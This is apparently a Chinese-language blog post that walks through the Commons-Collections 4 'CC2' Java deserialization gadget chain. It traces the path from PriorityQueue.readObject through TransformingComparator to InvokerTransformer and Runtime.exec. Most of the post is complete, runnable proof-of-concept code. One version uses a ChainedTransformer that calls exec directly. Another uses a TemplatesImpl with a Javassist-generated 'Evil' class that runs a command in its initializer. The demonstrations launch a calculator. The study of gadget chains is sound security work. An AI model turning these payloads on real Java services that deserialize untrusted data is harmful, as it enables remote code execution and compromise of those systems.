CC 1 分析后,了解了 Transformer 的基础知识后,后面的链子就可以快些分析了,CC 2 的利用是基于 commons-collections 4,因此我们引入依赖

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

配合 ChainedTransformer 触发 Runtime.exec()

我们以 ChainedTransformer 作为开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}

同样的思路,我们需要去找谁会触发 transform 方法,在 idea 比较快捷的方式是 Ctrl + Alt + H Find Usages
我们需要聚焦于 TransformingComparator.compare

接着对 compare 方法继续 Find Usages;由于 comparejava.util.Comparator 接口的方法,几乎所有集合框架都会用到,在层级树中,我们聚焦寻找 JDK 标准库(java.util)中的类,定位到 PriorityQueue.siftDownUsingComparator

继续向上追溯发现:siftDownUsingComparator -> siftDown -> heapify -> readObject

显然这里就是反序列化的入口了

PriorityQueue (优先级队列)

在 Java 中的核心作用是维护一个动态排序的集合,根据元素的“优先级”来决定出队顺序
开发者经常需要将整个数据结构保存到磁盘或通过网络传输。如果 PriorityQueue 不支持反序列化,开发者就必须手动处理其内部堆状态的重建;
为了保证反序列化后的对象依然满足“堆”的性质,PriorityQueue 必须重写 readObject(),重新进行一次“堆化”操作,以确保即使底层的数组顺序在不同环境下有细微差异,其优先级逻辑依然成立;
这个为了恢复数据一致性而自发进行的“排序”动作,给了攻击者触发 transform 的机会

接下来我们需要一步步看看如何通过代码细节将整个链子打通


跟踪 heapify(),其逻辑是从最后一个非叶子节点开始,向上遍历直到根节点,对每个节点执行 siftDown 操作;事实上我们并不关心它,触发条件需要 size >= 2

1
2
3
4
private void heapify() {  
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

跟踪 siftDown(),需要满足 comparator 属性不为空

1
2
3
4
5
6
private void siftDown(int k, E x) {  
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

继续跳转

这里会调用 compare 方法,进行优先级的比较和排序,由于 TransformingComparator 实现了 Comparator 接口,便触发了具体的 compare 方法

1
2
3
4
5
public int compare(final I obj1, final I obj2) {  
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

因此我们需要构造一个包含 chainedTransformerTransformingComparator;以及 size = 2 的队列

1
2
3
4
5
6
7
8
9
TransformingComparator comparator = new TransformingComparator(chainedTransformer);  

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

如果在 new PriorityQueue(2, comparator) 时直接传入已经构造好的恶意 comparator,那么在执行 queue.add(2) 时,PriorityQueue 内部会立刻触发一次 siftUp 排序,调用 comparator.compare(),Payload 会被提前触发

正确的做法是强行通过反射后置注入,把原本为 nullcomparator 替换成了包含 chainedTransformerTransformingComparator
执行后会发现弹了两次计算器,这是因为 compare() 触发了两次 transform 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;  

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.flush();
oos.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();
}
}

配合 TemplatesImpl 加载字节码

TemplatesImpl 知识点这里就不展了,在配合 CC 2 时需要注意:执行 queue.add(1)queue.add(2) 时,Integer 自身实现了 Comparable 接口,此时还没有用反射替换 comparator,队列成功初始化

这里可以配合 ConstantTransformer 无视 1 输入;这里理解就好,大家在处理时的细节各有不同,我也看到通过反射 PriorityQueue.class.getDeclaredField("queue") 直接修改底层数组为 templates 对象

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception{
byte[] byteCode = Evil.makeBytes();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Qu43ter");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[0], new Object[0])
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.flush();
oos.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();
}

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;  

import javassist.ClassPool;
import javassist.CtClass;

public class Evil {
public static byte[] makeBytes() throws Exception {
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("org.example.Evil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().insertBefore(cmd);
return ctClass.toBytecode();
}
}